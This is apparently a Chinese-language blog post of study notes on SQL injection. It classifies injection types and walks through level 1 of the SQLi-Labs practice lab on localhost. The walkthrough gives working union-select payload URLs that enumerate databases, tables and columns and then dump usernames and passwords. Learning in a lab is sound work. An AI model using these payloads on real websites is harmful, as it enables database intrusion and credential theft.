sql注入学习

发表于 2020-11-07 更新于 2021-01-18 分类于网络安全知识学习阅读次数：

　　这个漏洞以后再写项目的时候必须注意

SQLI-Labs简介

1.sql注入

　　通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。

2.sql注入类型

按照注入点类型来分类

（1）数字型注入点

sql语句为select * from table_name where id = x

这种类型可以使用and 1=1 和 and 1=2判断：

1.url地址中输入id=x and 1=1页面正常回显

2.url地址中输入id=x and 1=2页面回显不正常，则属于该类型

原因：

当输入and 1=1时，执行的sql语句：selece * from table_name where id=x and 1=1，没有逻辑错误，返回正常

当输入and 1=2时，执行的sql语句：selece * from table_name where id=x and 1=2

如果是字符型注入，则应该是以下情况

1）selece * from table_name where 'id=x and 1=1'

2）selece * from table_name where 'id=x and 1=2'

引号里面的被转换为字符串，没有进行逻辑判断，不会出现上述结果，所以这种情况不成立。

（2）字符型注入点

　　当输入的参数x为字符型时，执行的sql语句：select * from table_name where id='x'

同样可以用and ‘1’=’1和and ‘1’=’2判断：

1.url地址输入id=x’ and ‘1’=’1页面正常，继续下一步

2.url地址中继续输入id=x’ and ‘1’=’2页面错误，则为字符型注入

原因：

当输入id=x’ and ‘1’=’1时，执行的sql语句：select * from table_name where id='x' and '1'='1'

语法正确，逻辑正确，所以返回正确

当输入and ‘1’=’2，执行的sql语句：select * from table_name where id='x' and '1'='2'

语法正确，但是逻辑判断错误

（3）搜索型注入点

　　这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数，一般在链接地址中有“keyword=关键字”，有的不显示在的链接地址里面，而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句，其原形大致为：select * from 表名 where 字段 like '%关键字%'。

组合出来的sql注入语句为：select * from news where search like '%测试 %' and '%1%'='%1%'

测试%’ union select 1,2,3,4 and ‘%’=’

按照数据提交的方式来分类

（1）GET 注入

提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。

（2）POST 注入

使用 POST 方式提交数据，注入点位置在 POST 数据部分，常发生在表单中。

（3）Cookie 注入

HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

（4）HTTP 头部注入

注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话，Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候，Cookie 是头部的一个字段。

按照执行效果来分类

（1）基于布尔的盲注，即可以根据返回页面判断条件真假的注入。

（2）基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。

（3）基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。

*（4）联合查询注入，可以使用union的情况下的注入。

*（5）堆查询注入，可以同时执行多条语句的执行时的注入。

SQLI-LABS学习

声明

首先说一下我在学习过程中经常弄混淆的一些单词

table_schema：数据库名

information_schema.schemata：所有的数据库中

information_schema.tables：该数据库中的所有表

information_schema.column：该表中的所有列

table_name：表名

column_name：列名

第一关

— （这里有一个空格）在sql语句中表示注释，但是在url中，如果在最后一行加上— ，浏览器在发送请求的时候会把URL末尾的空格舍去，所以我们用—+代替，因为+在URL被编码后会变成空格。

1.输入http://127.0.0.1/sqli/Less-1/?id=1，页面回显正常，所以改地方不是数值查询。

2.在id后面加上’，页面回显不正常，可能存在字符注入
在这里插入图片描述

3.输入—+将sql后面的语句注释掉，页面回显正常，说明是单引号字符型注入
在这里插入图片描述

4.接着使用order by语句判断该数据库有几列输入，order by 4、order by 5、order by 6···页面都回显错误，只有order by 3正常，说明该表有3列
在这里插入图片描述

5.将id=1改成id=-1，然后使用union select 1,2,3联合查询语句查询是否有显示位。显示2和3，表明有2个显示位，说明第2列和第3列可以显示信息。
在这里插入图片描述

6.然后利用sql查询语句爆破出数据库的库名，表名，列名，字段信息：
库名：http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
在这里插入图片描述

表名：http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
这里0x7365637572697479是查询的库名security的16进制
在这里插入图片描述

users表中的列名：http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
在这里插入图片描述

接着使用一下语句查询账号密码
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+
在这里插入图片描述